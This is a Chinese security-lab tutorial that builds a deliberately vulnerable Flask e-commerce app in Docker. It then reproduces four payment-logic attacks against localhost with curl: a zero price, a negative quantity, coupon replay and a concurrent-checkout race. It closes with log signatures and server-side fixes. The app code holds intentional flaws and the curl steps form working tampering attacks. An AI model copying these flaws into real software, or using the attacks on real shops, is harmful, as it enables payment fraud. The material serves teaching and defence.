靶场实战07|前端改价直接0元购!电商支付漏洞全套复现(附Docker靶场)

admin 2026-09-24 05:34:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文实战复现电商支付逻辑四大漏洞:前端改价0元购、负数数量套现、优惠券无限重放及订单竞态超额扣款,提供Docker靶场搭建与攻击模拟步骤。核心结论是服务端信任客户端参数导致漏洞,防护需服务端权威定价、数量校验、优惠券原子核销及事务处理,并给出日志攻击特征识别方法。 综合评分: 88 文章分类: 渗透测试,漏洞分析,WEB安全,实战经验


靶场实战 07|前端改价直接 0 元购!电商支付漏洞全套复现(附 Docker 靶场)

原创

安全值班室 安全值班室

安全值班室

2026年9月23日 09:00 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

买东西要付钱,天经地义。但很多系统在”付多少”这件事上,居然信了前端传来的数字:改金额、传负数数量、反复用优惠券,白嫖就是这么来的。今天我们自带4个支付漏洞的电商靶场走一遍。

01 / 环境搭建:3分钟拉起带漏洞的电商靶场

支付逻辑漏洞没有现成镜像,我们自建一个极简Flask电商:一个商品(机械键盘399元)、一张优惠券、一个余额账户,浓缩四个漏洞。

一键启动命令

mkdir -p ~/pay-lab && cd ~/pay-lab &nbsp;&nbsp;# 建目录并进入,隔离实验文件# 文件1:docker-compose.yml(编排容器,一条命令启动)cat > docker-compose.yml <<'EOF'services:&nbsp; pay-lab:&nbsp; &nbsp; image: docker.1ms.run/python:3.11-slim &nbsp; &nbsp;&nbsp;# 轻量Python镜像,够用不臃肿&nbsp; &nbsp; ports:&nbsp; &nbsp; &nbsp; -&nbsp;"8082:8080"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 宿主机8082映射到容器8080,避开常用端口&nbsp; &nbsp; volumes:&nbsp; &nbsp; &nbsp; - ./app.py:/app/app.py:ro &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 挂载靶场代码,改代码后重启即生效&nbsp; &nbsp; command: bash -c&nbsp;"pip install flask -q && python /app/app.py"&nbsp;&nbsp;# 启动时装依赖并运行EOF# 文件2:app.py(靶场主程序:迷你电商,故意写4个支付逻辑漏洞)cat > app.py <<'EOF'from&nbsp;flask import Flask, request, session, jsonifyimport threadingapp = Flask(__name__)app.secret_key =&nbsp;'lab-secret'PRODUCTS = {&nbsp; &nbsp;&nbsp;1: {'name':&nbsp;'机械键盘',&nbsp;'price':&nbsp;399,&nbsp;'stock':&nbsp;5}}COUPONS = {&nbsp; &nbsp;&nbsp;'WELCOME88': {'amount':&nbsp;100,&nbsp;'used':&nbsp;0}}&nbsp;# 优惠券:满减100元BALANCE = {&nbsp; &nbsp;&nbsp;'alice':&nbsp;1000}&nbsp;# 模拟余额ORDERS = []@app.route('/login')def&nbsp;login():&nbsp; &nbsp; # 简化登录:?user=alice&nbsp; &nbsp; session['user'] = request.args.get('user',&nbsp;'alice')&nbsp; &nbsp;&nbsp;return&nbsp;f'登录成功:{session["user"]}'@app.route('/buy')def&nbsp;buy():&nbsp; &nbsp; # 漏洞点1:金额从前端传入;漏洞点2:数量未做合法性校验&nbsp; &nbsp; pid =&nbsp;int(request.args.get('pid',&nbsp;1))&nbsp; &nbsp; qty =&nbsp;int(request.args.get('qty',&nbsp;1)) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 传入负数数量,服务端直接接受&nbsp; &nbsp; price =&nbsp;int(request.args.get('price', PRODUCTS[pid]['price']))&nbsp;# 前端篡改单价&nbsp; &nbsp; total = price *&nbsp;qty&nbsp; &nbsp;&nbsp;return&nbsp;jsonify({&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'商品': PRODUCTS[pid]['name'],&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'单价': price,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'数量': qty,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'应付': total&nbsp; &nbsp; })@app.route('/coupon')def&nbsp;coupon():&nbsp; &nbsp; # 漏洞点3:优惠券不标记已使用,可无限重放复用&nbsp; &nbsp; code = request.args.get('code',&nbsp;'')&nbsp; &nbsp; c = COUPONS.get(code)&nbsp; &nbsp;&nbsp;if&nbsp;c:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({'优惠券': code,&nbsp;'抵扣': c['amount'],&nbsp;'可用': True})&nbsp; &nbsp;&nbsp;return&nbsp;jsonify({'可用': False}),&nbsp;[email protected]('/checkout')def&nbsp;checkout():&nbsp; &nbsp; # 漏洞点4:余额检查与扣款非原子操作,存在竞态条件&nbsp; &nbsp; user = session.get('user',&nbsp;'alice')&nbsp; &nbsp; total =&nbsp;int(request.args.get('total',&nbsp;399))&nbsp; &nbsp;&nbsp;if&nbsp;BALANCE[user] >= total:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 先校验余额&nbsp; &nbsp; &nbsp; &nbsp; threading.Event().wait(0.05)&nbsp;# 模拟网络/数据库延迟,放大竞态窗口&nbsp; &nbsp; &nbsp; &nbsp; BALANCE[user] -= total &nbsp; &nbsp; &nbsp;&nbsp;# 再执行扣款&nbsp; &nbsp; &nbsp; &nbsp; ORDERS.append({'user': user,&nbsp;'total': total})&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({'msg':'支付成功','余额': BALANCE[user]})&nbsp; &nbsp;&nbsp;return&nbsp;jsonify({'余额不足': BALANCE[user]}),&nbsp;400if&nbsp;__name__ ==&nbsp;'__main__':&nbsp; &nbsp; app.run(host='0.0.0.0', port=8080)EOFdocker compose up -d &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 一键启动,首次会自动拉取镜像curl -s http://localhost:8082/login?user=alice &nbsp;# 验证服务正常

靶场说明:/buy计算订单金额(漏洞点1和2),/coupon核销优惠券(漏洞点3),/checkout扣款(漏洞点4)。逻辑漏洞不看花哨技术,就看服务端”信了哪个参数、漏了哪步校验”。

避坑指南

1. 端口冲突:8082起不来,报address already in use。解决:改compose里”8082:8080″为”8083:8080″,浏览器同步访问新端口。 2. Docker权限报错:permission denied while trying to connect。解决:sudo usermod -aG docker $USER后重新登录,或临时用sudo docker compose up -d。 3. 镜像拉取超时:python:3.11-slim拉不下来。解决:在/etc/docker/daemon.json配置registry-mirrors国内加速源后重启Docker。 4. 改代码不生效:app.py以只读挂载进容器,改完要docker compose restart。

02 / 模拟攻击:四个白嫖姿势,一个比一个狠

全程只在本地容器操作。思路:正常下单抓包 → 观察哪些参数能改 → 改完看服务端认不认。

步骤1-2:改金额,399变0

#&nbsp;步骤1:正常买1件键盘,应付399curl -s "http://localhost:8082/buy?pid=1&qty=1"#&nbsp;响应: {"商品":&nbsp;"机械键盘",&nbsp;"单价": 399,&nbsp;"数量": 1,&nbsp;"应付": 399}#&nbsp;步骤2:用Burp拦截改包,把 price 参数改成 0curl -s "http://localhost:8082/buy?pid=1&qty=1&price=0"#&nbsp;响应: {"商品":&nbsp;"机械键盘",&nbsp;"单价": 0,&nbsp;"数量": 1,&nbsp;"应付": 0}#&nbsp;注意:单价和应付都变成了0!服务端直接信任前端传入的价格,造成0元购

正常请求”应付399″,把price改成0后,服务端照单全收。因为代码里price直接取请求参数,压根没查商品表。服务端不回查商品定价,是支付漏洞的第一大根源。

步骤3-4:改数量,负金额套现

#&nbsp;步骤3:数量传负数,应付变成负数curl -s "http://localhost:8082/buy?pid=1&qty=-5&price=399"#&nbsp;响应: {"商品":&nbsp;"机械键盘",&nbsp;"单价": 399,&nbsp;"数量": -5,&nbsp;"应付": -1995}#&nbsp;负数金额在真实系统里意味着:订单金额为负 → 退款通道反入账 → 直接套现#&nbsp;步骤4:组合拳,单价1 + 数量9999curl -s "http://localhost:8082/buy?pid=1&qty=9999&price=1"#&nbsp;响应: {"商品":&nbsp;"机械键盘",&nbsp;"单价": 1,&nbsp;"数量": 9999,&nbsp;"应付": 9999}#&nbsp;服务端没有校验商品原始价格,价格完全由客户端说了算

qty=-5时应付变成-1995。真实系统里,负金额订单一旦进入退款流程,攻击者就能把”退款”提现到自己账户——这是抢钱。

步骤5-6:优惠券无限重放

# 步骤5:优惠券 WELCOME88 正常用一次curl -s&nbsp;"http://localhost:8082/coupon?code=WELCOME88"# 响应: {"优惠券": "WELCOME88", "抵扣": 100, "可用": true}# 步骤6:同一个码重复请求10次,每次都返回可用for&nbsp;i&nbsp;in&nbsp;$(seq&nbsp;1 10);&nbsp;do&nbsp; &nbsp; curl -s&nbsp;"http://localhost:8082/coupon?code=WELCOME88"&nbsp; &nbsp;&nbsp;echodone# 10次全部返回可用:true —— 优惠券未标记已使用,支持无限重放复用

同一个WELCOME88码连发10次,次次可用。问题出在核销逻辑只”查”了券存不存在,从没”标记”已用过。查询和状态更新分离,是重放类漏洞的通用病因。

步骤7:订单竞态,余额不够也能付款

# 步骤7:模拟订单竞态条件——余额1000,单笔399,3笔并发本应余额不足# 原理:余额检查与扣款非原子操作,中间存在延迟窗口,并发请求可同时通过校验for&nbsp;i&nbsp;in&nbsp;$(seq&nbsp;1 3);&nbsp;do&nbsp; &nbsp; curl -s -b&nbsp;"session=alice"&nbsp;"http://localhost:8082/checkout?total=399"&nbsp;&donewait# 若3个请求均返回"支付成功",说明竞态条件利用成功,出现超额扣款

余额1000,三单共1197,本只够付两单。但checkout是”先检查余额、再扣款”两步操作,中间留了时间差,三个并发请求同时挤过检查关口全部支付成功——这就是竞态条件。真实世界的秒杀超卖、重复扣款,几乎都是同一原因。

03 / 日志分析:攻击在日志里长什么样

下面是靶场脱敏后的访问日志(IP已打码):

# 支付漏洞靶场攻击全程访问日志(对应步骤1~7)[REDACTED] - - [23/Aug/2026:10:01:12]&nbsp;"GET /login?user=alice HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:15]&nbsp;"GET /buy?pid=1&qty=1 HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:16]&nbsp;"GET /buy?pid=1&qty=1&price=0 HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:17]&nbsp;"GET /buy?pid=1&qty=-5&price=399 HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:19]&nbsp;"GET /coupon?code=WELCOME88 HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:19]&nbsp;"GET /coupon?code=WELCOME88 HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:19]&nbsp;"GET /coupon?code=WELCOME88 HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:21]&nbsp;"GET /checkout?total=399 HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:21]&nbsp;"GET /checkout?total=399 HTTP/1.1"&nbsp;200&nbsp;-[REDACTED] - - [23/Aug/2026:10:01:21]&nbsp;"GET /checkout?total=399 HTTP/1.1"&nbsp;200&nbsp;-

逐行解读:

第1行:alice登录,会话建立,攻击起点。 第2行:正常买1件,应付399。 第3行:接口多出price=0参数——正常请求不会带,改包痕迹明显。 第4行:qty=-5,数量为负数,典型参数篡改。 第5-7行:同一秒内WELCOME88连用3次(实际攻击会刷几百次),核销频率异常。 第8-10行:同一毫秒窗口内checkout并发3次,人工做不到,是竞态攻击特征。

判断标准:哪些特征说明是真实攻击

1. 参数值违背业务常识:金额为0、数量为负、1元买9999件,真实订单不可能出现。 2. 同一接口短时高频重复:优惠券几秒内被同一用户核销N次,远超正常节奏。 3. 并发时间戳几乎相同:毫秒级并发人类做不到,基本是脚本在打。 4. 下单金额与定价不符:订单总额≠单价×数量,比对商品表直接实锤。

04 / 如何防护:钱的事,服务端说了算

先讲原理。支付漏洞能成功,根本原因是:服务端把”不该由客户端决定”的参数(价格、数量、优惠券状态、扣款时序)当成了可信输入。价格是经营数据,优惠券状态是数据库状态,扣款是资金操作——哪一样都不能由HTTP请求里的字符串决定。

基础级(必须做):服务端权威定价

# 修复1:单价以服务端商品表为准 + 数量合法性校验(对应0元购、负数量漏洞)@app.route('/buy')def&nbsp;buy():&nbsp; &nbsp; pid =&nbsp;int(request.args.get('pid',&nbsp;1))&nbsp; &nbsp; qty =&nbsp;int(request.args.get('qty',&nbsp;1))&nbsp; &nbsp;&nbsp;# 数量范围校验:禁止负数、零和超大批量&nbsp; &nbsp;&nbsp;if&nbsp;qty <=&nbsp;0&nbsp;or&nbsp;qty >&nbsp;100:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;'数量非法',&nbsp;400&nbsp; &nbsp; prod = PRODUCTS[pid]&nbsp; &nbsp;&nbsp;# 单价强制从服务端商品表读取,完全忽略前端传入的price参数&nbsp; &nbsp; total = prod['price'] *&nbsp;qty&nbsp; &nbsp;&nbsp;return&nbsp;jsonify({'应付': total})
-- 修复2:优惠券原子标记已使用(数据库层面行锁,防重放复用)UPDATE&nbsp;coupons&nbsp;SET&nbsp;used&nbsp;=&nbsp;1, used_by&nbsp;=&nbsp;'alice'WHERE&nbsp;code&nbsp;=&nbsp;'WELCOME88'&nbsp;AND&nbsp;used&nbsp;=&nbsp;0;-- 执行后判断影响行数:-- 影响行数 = 1 → 核销成功-- 影响行数 = 0 → 优惠券已被使用,拒绝本次请求

核心三条:价格只从商品表取、数量做范围校验、优惠券用原子SQL标记已使用。成本极低,是任何电商上线前必须完成的。

进阶级(推荐):事务与幂等

  1. 扣款、减库存、生成订单放进同一事务,用SELECT … FOR UPDATE行锁保证检查与扣款原子完成。
  2. 下单接口加幂等键:客户端每次下单带唯一流水号,服务端记录已处理过的流水号,重复请求直接拒绝,从源头消灭竞态重放。
  3. 订单参数做服务端签名:前端只传商品ID和数量,后端校验签名,防中间人改包。

专家级(纵深防御)

  1. 风控引擎:对价格突变、负数量、高频核销、短时高频下单建规则实时拦截。
  2. 对账系统:订单、支付、退款三方每日对账,金额不平自动告警,漏洞被利用也能及时发现止损。
  3. 审计日志:所有资金操作留痕,可回溯可举证。
  4. 支付通道侧校验:以支付平台回调的实付金额为准,而非前端展示金额。

05 / 总结复盘

要点提炼:

  1. 支付漏洞四兄弟:改金额、改数量、优惠券重放、订单竞态,根子在”服务端信任客户端参数”。
  2. 价格永远从商品表取,前端传的一律忽略。
  3. 数量必须校验范围,负数量+退款=直接套现。
  4. 优惠券核销必须原子标记已使用,查询与更新不能分离。
  5. 涉及钱的状态变更必须事务化,不允许竞态窗口。

攻击链全景:登录 → 正常下单抓包 → 修改price/qty(篡改金额)→ 重放优惠券(放大优惠)→ 并发checkout(突破余额限制)→ 极小代价拿到商品/资金。

面试可能怎么问:

Q:支付类逻辑漏洞怎么防? A:核心是服务端权威:价格从服务端取、数量范围校验、优惠券原子核销、扣款事务化加幂等键,再加风控和对账兜底。

Q:什么是竞态条件?怎么复现和修复? A:多请求并发访问同一资源,检查与操作之间存在时间差,导致多次通过检查。复现用并发脚本打同一接口;修复用数据库行锁+事务保证原子性,或加幂等键去重。

短信验证码为什么能被爆破?响应包改一个字段就”通过”?下一章《验证码绕过与接口滥用》拆解万能验证码、响应包绕过、短信轰炸,继续自建靶场开练。

关注我,下期不迷路

MORE

往期回顾

CTF新手速成

靶场实战:从漏洞基础到红队综合

内网渗透学习路线

云安全攻防实战连载

Web安全学习路线


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:安全值班室 安全值班室 安全值班室《靶场实战 07|前端改价直接 0 元购!电商支付漏洞全套复现(附 Docker 靶场)》

评论:0   参与:  0